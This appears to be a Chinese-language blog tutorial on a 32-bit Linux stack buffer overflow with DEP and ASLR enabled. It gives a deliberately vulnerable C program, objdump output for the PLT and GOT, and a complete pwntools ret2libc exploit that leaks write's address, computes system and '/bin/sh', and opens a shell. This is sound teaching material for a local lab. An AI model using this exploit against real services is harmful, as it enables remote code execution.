linux栈溢出-绕过ROP、ASLR(知道libc.so)

时间:2022-06-16 06:18:15
调试环境是ubuntu14 32位 这次开启了DEP、ASLR,在linux x86溢出,知道libc.so文件的情况下
代码是1.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}

gcc -fno-stack-protector -o 1 1.c 开启ASLR:
sudo -s 
echo 2 > /proc/sys/kernel/randomize_va_space
exit

关键还是找到函数system和字符串的地址,但是关键是这里libc.so文件每次加载的地址是不一样的,所以不能通过硬编码的方式直接写到exploit里边去。
所以需要想办法找到一个内存泄漏的bug,然后找到system函数的地址。 这里需要堆plt和got了解一下,以及延迟绑定的知识。 通过write@plt 和write@got确定函数write的地址,这里直接借助pwntools这个工具就行了。 可以先用命令objdump -d -j .plt 1 和 objdump -R 1确定write@plt 和write@got的地址。 然后确定write函数的地址。
yang@yang-virtual-machine:~$ objdump -d -j .plt 1 

1: 文件格式 elf32-i386


Disassembly of section .plt:

08048300 <read@plt-0x10>:
8048300:ff 35 04 a0 04 08 pushl 0x804a004
8048306:ff 25 08 a0 04 08 jmp *0x804a008
804830c:00 00 add %al,(%eax)
...

08048310 <read@plt>:
8048310:ff 25 0c a0 04 08 jmp *0x804a00c
8048316:68 00 00 00 00 push $0x0
804831b:e9 e0 ff ff ff jmp 8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
8048320:ff 25 10 a0 04 08 jmp *0x804a010
8048326:68 08 00 00 00 push $0x8
804832b:e9 d0 ff ff ff jmp 8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
8048330:ff 25 14 a0 04 08 jmp *0x804a014
8048336:68 10 00 00 00 push $0x10
804833b:e9 c0 ff ff ff jmp 8048300 <_init+0x30>

08048340 <write@plt>:
8048340:ff 25 18 a0 04 08 jmp *0x804a018
8048346:68 18 00 00 00 push $0x18
804834b:e9 b0 ff ff ff jmp 8048300 <_init+0x30>
yang@yang-virtual-machine:~$ objdump -R 1

1: 文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT read
0804a010 R_386_JUMP_SLOT __gmon_start__
0804a014 R_386_JUMP_SLOT __libc_start_main
0804a018 R_386_JUMP_SLOT write


yang@yang-virtual-machine:~$


因为system()函数和write()在libc.so中的offset(相对地址)是不变的,在知道libc。so的情况下,就可以根据相对偏移计算出,system函数的地址。 最后exp如下:
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('1')

#p = process('./1')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048476
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()
需要注意的一点是,这个地方vulfun_addr的值是函数main的地址,别的话可能会出错。